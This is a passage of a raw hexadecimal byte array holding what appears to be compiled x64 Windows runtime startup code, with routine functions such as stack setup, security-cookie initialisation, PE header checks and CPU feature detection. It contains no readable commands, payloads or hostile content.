0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xEB, 0x0F, 0x48, 0x8B, 0xCB, 0xE8, 0x31, 0x0D, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x13, 0x48, 0x8B, 0xCB, 0xE8, 0x2B, 0x0D, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0xE7, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x48, 0x83, 0xFB, 0xFF, 0x74, 0x06, 0xE8, 0x27, 0x07, 0x00, 0x00, 0xCC, 0xE8, 0x15, 0xA5, 0xFF, 0xFF, 0xCC, 0xE9, 0x0F, 0x0D, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xE9, 0xF3, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x05, 0x5F, 0x28, 0x00, 0x00, 0x48, 0x8B, 0xD9, 0x48, 0x89, 0x01, 0xF6, 0xC2, 0x01, 0x74, 0x0A, 0xBA, 0x18, 0x00, 0x00, 0x00, 0xE8, 0xD6, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x85, 0xD2, 0x74, 0x39, 0x83, 0xEA, 0x01, 0x74, 0x28, 0x83, 0xEA, 0x01, 0x74, 0x16, 0x83, 0xFA, 0x01, 0x74, 0x0A, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xE8, 0xDA, 0x03, 0x00, 0x00, 0xEB, 0x05, 0xE8, 0xAB, 0x03, 0x00, 0x00, 0x0F, 0xB6, 0xC0, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x49, 0x8B, 0xD0, 0x48, 0x83, 0xC4, 0x28, 0xE9, 0x0F, 0x00, 0x00, 0x00, 0x4D, 0x85, 0xC0, 0x0F, 0x95, 0xC1, 0x48, 0x83, 0xC4, 0x28, 0xE9, 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xF2, 0x4C, 0x8B, 0xF1, 0x33, 0xC9, 0xE8, 0x4A, 0x04, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0xC8, 0x00, 0x00, 0x00, 0xE8, 0xD1, 0x02, 0x00, 0x00, 0x8A, 0xD8, 0x88, 0x44, 0x24, 0x40, 0x40, 0xB7, 0x01, 0x83, 0x3D, 0xD1, 0x6D, 0x00, 0x00, 0x00, 0x0F, 0x85, 0xC5, 0x00, 0x00, 0x00, 0xC7, 0x05, 0xC1, 0x6D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE8, 0x1C, 0x03, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x4F, 0xE8, 0xA3, 0x08, 0x00, 0x00, 0xE8, 0xFE, 0x06, 0x00, 0x00, 0xE8, 0x25, 0x07, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x3A, 0x27, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x2B, 0x27, 0x00, 0x00, 0xE8, 0x1A, 0x0C, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x29, 0xE8, 0xB9, 0x02, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x20, 0x48, 0x8D, 0x15, 0x0A, 0x27, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xF3, 0x26, 0x00, 0x00, 0xE8, 0xF4, 0x0B, 0x00, 0x00, 0xC7, 0x05, 0x6C, 0x6D, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x40, 0x32, 0xFF, 0x8A, 0xCB, 0xE8, 0x1E, 0x05, 0x00, 0x00, 0x40, 0x84, 0xFF, 0x75, 0x3F, 0xE8, 0xF0, 0x06, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x83, 0x38, 0x00, 0x74, 0x24, 0x48, 0x8B, 0xC8, 0xE8, 0x6B, 0x04, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x18, 0x4C, 0x8B, 0xC6, 0xBA, 0x02, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0x48, 0x8B, 0x03, 0x4C, 0x8B, 0x0D, 0x7E, 0x26, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0xFF, 0x05, 0x1D, 0x6D, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xB9, 0x07, 0x00, 0x00, 0x00, 0xE8, 0xA4, 0x06, 0x00, 0x00, 0x90, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x40, 0x8A, 0xF9, 0x8B, 0x05, 0xDD, 0x6C, 0x00, 0x00, 0x85, 0xC0, 0x7F, 0x0D, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xFF, 0xC8, 0x89, 0x05, 0xC4, 0x6C, 0x00, 0x00, 0xE8, 0xB7, 0x01, 0x00, 0x00, 0x8A, 0xD8, 0x88, 0x44, 0x24, 0x20, 0x83, 0x3D, 0xBA, 0x6C, 0x00, 0x00, 0x02, 0x75, 0x33, 0xE8, 0xCB, 0x02, 0x00, 0x00, 0xE8, 0x0E, 0x06, 0x00, 0x00, 0xE8, 0xD5, 0x07, 0x00, 0x00, 0x83, 0x25, 0xA2, 0x6C, 0x00, 0x00, 0x00, 0x8A, 0xCB, 0xE8, 0x57, 0x04, 0x00, 0x00, 0x33, 0xD2, 0x40, 0x8A, 0xCF, 0xE8, 0x71, 0x04, 0x00, 0x00, 0x0F, 0xB6, 0xD8, 0xE8, 0xD1, 0x02, 0x00, 0x00, 0x8B, 0xC3, 0xEB, 0xA6, 0xB9, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x23, 0x06, 0x00, 0x00, 0x90, 0x90, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x40, 0x49, 0x8B, 0xF0, 0x8B, 0xFA, 0x4C, 0x8B, 0xF1, 0x85, 0xD2, 0x75, 0x0F, 0x39, 0x15, 0x44, 0x6C, 0x00, 0x00, 0x7F, 0x07, 0x33, 0xC0, 0xE9, 0xE5, 0x00, 0x00, 0x00, 0x8D, 0x42, 0xFF, 0x83, 0xF8, 0x01, 0x77, 0x40, 0x48, 0x8B, 0x05, 0x1C, 0x26, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x05, 0x8D, 0x58, 0x01, 0xEB, 0x08, 0xFF, 0x15, 0x74, 0x25, 0x00, 0x00, 0x8B, 0xD8, 0x89, 0x5C, 0x24, 0x30, 0x85, 0xDB, 0x0F, 0x84, 0xAE, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, 0xE8, 0xA9, 0xFD, 0xFF, 0xFF, 0x8B, 0xD8, 0x89, 0x44, 0x24, 0x30, 0x85, 0xC0, 0x0F, 0x84, 0x93, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, 0xE8, 0xF6, 0xC5, 0xFF, 0xFF, 0x8B, 0xD8, 0x89, 0x44, 0x24, 0x30, 0x83, 0xFF, 0x01, 0x75, 0x36, 0x85, 0xC0, 0x75, 0x32, 0x4C, 0x8B, 0xC6, 0x33, 0xD2, 0x49, 0x8B, 0xCE, 0xE8, 0xDA, 0xC5, 0xFF, 0xFF, 0x48, 0x85, 0xF6, 0x0F, 0x95, 0xC1, 0xE8, 0xCF, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0xA8, 0x25, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0E, 0x4C, 0x8B, 0xC6, 0x33, 0xD2, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0xFD, 0x24, 0x00, 0x00, 0x85, 0xFF, 0x74, 0x05, 0x83, 0xFF, 0x03, 0x75, 0x3C, 0x4C, 0x8B, 0xC6, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, 0xE8, 0x37, 0xFD, 0xFF, 0xFF, 0x8B, 0xD8, 0x89, 0x44, 0x24, 0x30, 0x85, 0xC0, 0x74, 0x25, 0x48, 0x8B, 0x05, 0x6E, 0x25, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x05, 0x8D, 0x58, 0x01, 0xEB, 0x10, 0x4C, 0x8B, 0xC6, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0xBE, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x89, 0x5C, 0x24, 0x30, 0xEB, 0x06, 0x33, 0xDB, 0x89, 0x5C, 0x24, 0x30, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x78, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x49, 0x8B, 0xF8, 0x8B, 0xDA, 0x48, 0x8B, 0xF1, 0x83, 0xFA, 0x01, 0x75, 0x05, 0xE8, 0xD3, 0x03, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x8B, 0xD3, 0x48, 0x8B, 0xCE, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0x9B, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x43, 0x09, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x21, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x48, 0x08, 0xEB, 0x05, 0x48, 0x3B, 0xC8, 0x74, 0x14, 0x33, 0xC0, 0xF0, 0x48, 0x0F, 0xB1, 0x0D, 0xEC, 0x6A, 0x00, 0x00, 0x75, 0xEE, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xB0, 0x01, 0xEB, 0xF7, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x07, 0x09, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x07, 0xE8, 0x2A, 0x06, 0x00, 0x00, 0xEB, 0x19, 0xE8, 0xEF, 0x08, 0x00, 0x00, 0x8B, 0xC8, 0xE8, 0x44, 0x09, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x04, 0x32, 0xC0, 0xEB, 0x07, 0xE8, 0x3D, 0x09, 0x00, 0x00, 0xB0, 0x01, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x48, 0x83, 0xEC, 0x28, 0x33, 0xC9, 0xE8, 0x2D, 0x01, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x95, 0xC0, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x3B, 0x09, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x12, 0xE8, 0x2E, 0x09, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x07, 0xE8, 0x25, 0x09, 0x00, 0x00, 0xEB, 0xEC, 0xB0, 0x01, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x13, 0x09, 0x00, 0x00, 0xE8, 0x0E, 0x09, 0x00, 0x00, 0xB0, 0x01, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x49, 0x8B, 0xF9, 0x49, 0x8B, 0xF0, 0x8B, 0xDA, 0x48, 0x8B, 0xE9, 0xE8, 0x60, 0x08, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x16, 0x83, 0xFB, 0x01, 0x75, 0x11, 0x4C, 0x8B, 0xC6, 0x33, 0xD2, 0x48, 0x8B, 0xCD, 0x48, 0x8B, 0xC7, 0xFF, 0x15, 0x5A, 0x23, 0x00, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x58, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0x72, 0x08, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x1B, 0x08, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x10, 0x48, 0x8D, 0x0D, 0xEC, 0x69, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xE9, 0x73, 0x08, 0x00, 0x00, 0xE8, 0x86, 0x08, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x05, 0xE8, 0x71, 0x08, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x48, 0x83, 0xEC, 0x28, 0x33, 0xC9, 0xE8, 0x69, 0x08, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xE9, 0x60, 0x08, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0x85, 0xC9, 0x75, 0x07, 0xC6, 0x05, 0xA5, 0x69, 0x00, 0x00, 0x01, 0xE8, 0xF8, 0x04, 0x00, 0x00, 0xE8, 0x47, 0x08, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x14, 0xE8, 0x3A, 0x08, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x09, 0x33, 0xC9, 0xE8, 0x2F, 0x08, 0x00, 0x00, 0xEB, 0xEA, 0xB0, 0x01, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x80, 0x3D, 0x6C, 0x69, 0x00, 0x00, 0x00, 0x8B, 0xD9, 0x75, 0x67, 0x83, 0xF9, 0x01, 0x77, 0x6A, 0xE8, 0x89, 0x07, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x28, 0x85, 0xDB, 0x75, 0x24, 0x48, 0x8D, 0x0D, 0x56, 0x69, 0x00, 0x00, 0xE8, 0xD5, 0x07, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x10, 0x48, 0x8D, 0x0D, 0x5E, 0x69, 0x00, 0x00, 0xE8, 0xC5, 0x07, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x2E, 0x32, 0xC0, 0xEB, 0x33, 0x66, 0x0F, 0x6F, 0x05, 0x11, 0x23, 0x00, 0x00, 0x48, 0x83, 0xC8, 0xFF, 0xF3, 0x0F, 0x7F, 0x05, 0x25, 0x69, 0x00, 0x00, 0x48, 0x89, 0x05, 0x2E, 0x69, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x05, 0x2E, 0x69, 0x00, 0x00, 0x48, 0x89, 0x05, 0x37, 0x69, 0x00, 0x00, 0xC6, 0x05, 0x01, 0x69, 0x00, 0x00, 0x01, 0xB0, 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xB9, 0x05, 0x00, 0x00, 0x00, 0xE8, 0x86, 0x02, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x18, 0x4C, 0x8B, 0xC1, 0xB8, 0x4D, 0x5A, 0x00, 0x00, 0x66, 0x39, 0x05, 0x31, 0x8E, 0xFF, 0xFF, 0x75, 0x78, 0x48, 0x63, 0x0D, 0x64, 0x8E, 0xFF, 0xFF, 0x48, 0x8D, 0x15, 0x21, 0x8E, 0xFF, 0xFF, 0x48, 0x03, 0xCA, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00, 0x75, 0x5F, 0xB8, 0x0B, 0x02, 0x00, 0x00, 0x66, 0x39, 0x41, 0x18, 0x75, 0x54, 0x4C, 0x2B, 0xC2, 0x0F, 0xB7, 0x51, 0x14, 0x48, 0x83, 0xC2, 0x18, 0x48, 0x03, 0xD1, 0x0F, 0xB7, 0x41, 0x06, 0x48, 0x8D, 0x0C, 0x80, 0x4C, 0x8D, 0x0C, 0xCA, 0x48, 0x89, 0x14, 0x24, 0x49, 0x3B, 0xD1, 0x74, 0x18, 0x8B, 0x4A, 0x0C, 0x4C, 0x3B, 0xC1, 0x72, 0x0A, 0x8B, 0x42, 0x08, 0x03, 0xC1, 0x4C, 0x3B, 0xC0, 0x72, 0x08, 0x48, 0x83, 0xC2, 0x28, 0xEB, 0xDF, 0x33, 0xD2, 0x48, 0x85, 0xD2, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x14, 0x83, 0x7A, 0x24, 0x00, 0x7D, 0x04, 0x32, 0xC0, 0xEB, 0x0A, 0xB0, 0x01, 0xEB, 0x06, 0x32, 0xC0, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x18, 0xC3, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x8A, 0xD9, 0xE8, 0x73, 0x06, 0x00, 0x00, 0x33, 0xD2, 0x85, 0xC0, 0x74, 0x0B, 0x84, 0xDB, 0x75, 0x07, 0x48, 0x87, 0x15, 0x2E, 0x68, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x80, 0x3D, 0x23, 0x68, 0x00, 0x00, 0x00, 0x8A, 0xD9, 0x74, 0x04, 0x84, 0xD2, 0x75, 0x0C, 0xE8, 0xC2, 0x06, 0x00, 0x00, 0x8A, 0xCB, 0xE8, 0xBB, 0x06, 0x00, 0x00, 0xB0, 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0x3D, 0xFE, 0x67, 0x00, 0x00, 0xFF, 0x48, 0x8B, 0xD9, 0x75, 0x07, 0xE8, 0x8A, 0x06, 0x00, 0x00, 0xEB, 0x0F, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x0D, 0xE8, 0x67, 0x00, 0x00, 0xE8, 0x6D, 0x06, 0x00, 0x00, 0x33, 0xD2, 0x85, 0xC0, 0x48, 0x0F, 0x44, 0xD3, 0x48, 0x8B, 0xC2, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0xBB, 0xFF, 0xFF, 0xFF, 0x48, 0xF7, 0xD8, 0x1B, 0xC0, 0xF7, 0xD8, 0xFF, 0xC8, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xC2, 0x00, 0x00, 0xCC, 0x48, 0x83, 0x61, 0x10, 0x00, 0x48, 0x8D, 0x05, 0xC8, 0x21, 0x00, 0x00, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8D, 0x05, 0xAD, 0x21, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8B, 0xC1, 0xC3, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xD2, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x15, 0xFF, 0x3D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xB7, 0x05, 0x00, 0x00, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x05, 0xF0, 0x5C, 0x00, 0x00, 0x48, 0xBB, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x48, 0x3B, 0xC3, 0x75, 0x74, 0x48, 0x83, 0x65, 0x10, 0x00, 0x48, 0x8D, 0x4D, 0x10, 0xFF, 0x15, 0xC2, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x89, 0x45, 0xF0, 0xFF, 0x15, 0xBC, 0x1C, 0x00, 0x00, 0x8B, 0xC0, 0x48, 0x31, 0x45, 0xF0, 0xFF, 0x15, 0xB8, 0x1C, 0x00, 0x00, 0x8B, 0xC0, 0x48, 0x8D, 0x4D, 0x18, 0x48, 0x31, 0x45, 0xF0, 0xFF, 0x15, 0xB0, 0x1C, 0x00, 0x00, 0x8B, 0x45, 0x18, 0x48, 0x8D, 0x4D, 0xF0, 0x48, 0xC1, 0xE0, 0x20, 0x48, 0x33, 0x45, 0x18, 0x48, 0x33, 0x45, 0xF0, 0x48, 0x33, 0xC1, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x23, 0xC1, 0x48, 0xB9, 0x33, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x44, 0xC1, 0x48, 0x89, 0x05, 0x6D, 0x5C, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, 0x9E, 0x5C, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0xC3, 0x48, 0x8D, 0x0D, 0xF1, 0x66, 0x00, 0x00, 0x48, 0xFF, 0x25, 0x32, 0x1C, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x8D, 0x0D, 0xE1, 0x66, 0x00, 0x00, 0xE9, 0xF4, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xE5, 0x66, 0x00, 0x00, 0xC3, 0x48, 0x8D, 0x05, 0xE5, 0x66, 0x00, 0x00, 0xC3, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0xE7, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0x08, 0x24, 0xE8, 0xE6, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0x08, 0x02, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0x48, 0x8D, 0x05, 0xE9, 0x66, 0x00, 0x00, 0xC3, 0x83, 0x25, 0xC1, 0x66, 0x00, 0x00, 0x00, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x55, 0x48, 0x8D, 0xAC, 0x24, 0x40, 0xFB, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xC0, 0x05, 0x00, 0x00, 0x8B, 0xD9, 0xB9, 0x17, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xEE, 0x1B, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x04, 0x8B, 0xCB, 0xCD, 0x29, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xE8, 0xC4, 0xFF, 0xFF, 0xFF, 0x33, 0xD2, 0x48, 0x8D, 0x4D, 0xF0, 0x41, 0xB8, 0xD0, 0x04, 0x00, 0x00, 0xE8, 0x79, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xF0, 0xFF, 0x15, 0xF1, 0x1B, 0x00, 0x00, 0x48, 0x8B, 0x9D, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x95, 0xD8, 0x04, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0x6F, 0x1B, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x3C, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8D, 0x8D, 0xE0, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xD8, 0x04, 0x00, 0x00, 0x4C, 0x8B, 0xC8, 0x48, 0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8B, 0xC3, 0x48, 0x8D, 0x8D, 0xE8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x28, 0x48, 0x8D, 0x4D, 0xF0, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x33, 0xC9, 0xFF, 0x15, 0x7E, 0x1B, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xC8, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x48, 0x89, 0x85, 0xE8, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, 0x85, 0xC8, 0x04, 0x00, 0x00, 0x41, 0xB8, 0x98, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00, 0xE8, 0xE2, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xC8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x60, 0xC7, 0x44, 0x24, 0x50, 0x15, 0x00, 0x00, 0x40, 0xC7, 0x44, 0x24, 0x54, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xE2, 0x1A, 0x00, 0x00, 0x8B, 0xD8, 0x33, 0xC9, 0x48, 0x8D, 0x44, 0x24, 0x50, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8D, 0x45, 0xF0, 0x48, 0x89, 0x44, 0x24, 0x48, 0xFF, 0x15, 0x1D, 0x1B, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x0A, 0x1B, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x0D, 0x83, 0xFB, 0x01, 0x74, 0x08, 0x8D, 0x48, 0x03, 0xE8, 0xC1, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x9C, 0x24, 0xD0, 0x05, 0x00, 0x00, 0x48, 0x81, 0xC4, 0xC0, 0x05, 0x00, 0x00, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x1D, 0xC7, 0x30, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0xC0, 0x30, 0x00, 0x00, 0xEB, 0x12, 0x48, 0x8B, 0x03, 0x48, 0x85, 0xC0, 0x74, 0x06, 0xFF, 0x15, 0x38, 0x1E, 0x00, 0x00, 0x48, 0x83, 0xC3, 0x08, 0x48, 0x3B, 0xDF, 0x72, 0xE9, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x1D, 0x9B, 0x30, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0x94, 0x30, 0x00, 0x00, 0xEB, 0x12, 0x48, 0x8B, 0x03, 0x48, 0x85, 0xC0, 0x74, 0x06, 0xFF, 0x15, 0xFC, 0x1D, 0x00, 0x00, 0x48, 0x83, 0xC3, 0x08, 0x48, 0x3B, 0xDF, 0x72, 0xE9, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, 0x10, 0x33, 0xC0, 0x33, 0xC9, 0x0F, 0xA2, 0x44, 0x8B, 0xC1, 0x44, 0x8B, 0xD2, 0x41, 0x81, 0xF2, 0x69, 0x6E, 0x65, 0x49, 0x41, 0x81, 0xF0, 0x6E, 0x74, 0x65, 0x6C, 0x44, 0x8B, 0xCB, 0x44, 0x8B, 0xF0, 0x33, 0xC9, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xA2, 0x45, 0x0B, 0xD0, 0x89, 0x45, 0xF0, 0x41, 0x81, 0xF1, 0x47, 0x65, 0x6E, 0x75, 0x89, 0x5D, 0xF4, 0x45, 0x0B, 0xD1, 0x89, 0x4D, 0xF8, 0x8B, 0xF9, 0x89, 0x55, 0xFC, 0x75, 0x5B, 0x48, 0x83, 0x0D, 0x3D, 0x5A, 0x00, 0x00, 0xFF, 0x25, 0xF0, 0x3F, 0xFF, 0x0F, 0x48, 0xC7, 0x05, 0x25, 0x5A, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x3D, 0xC0, 0x06, 0x01, 0x00, 0x74, 0x28, 0x3D, 0x60, 0x06, 0x02, 0x00, 0x74, 0x21, 0x3D, 0x70, 0x06, 0x02, 0x00, 0x74, 0x1A, 0x05, 0xB0, 0xF9, 0xFC, 0xFF, 0x83, 0xF8, 0x20, 0x77, 0x24, 0x48, 0xB9, 0x01, 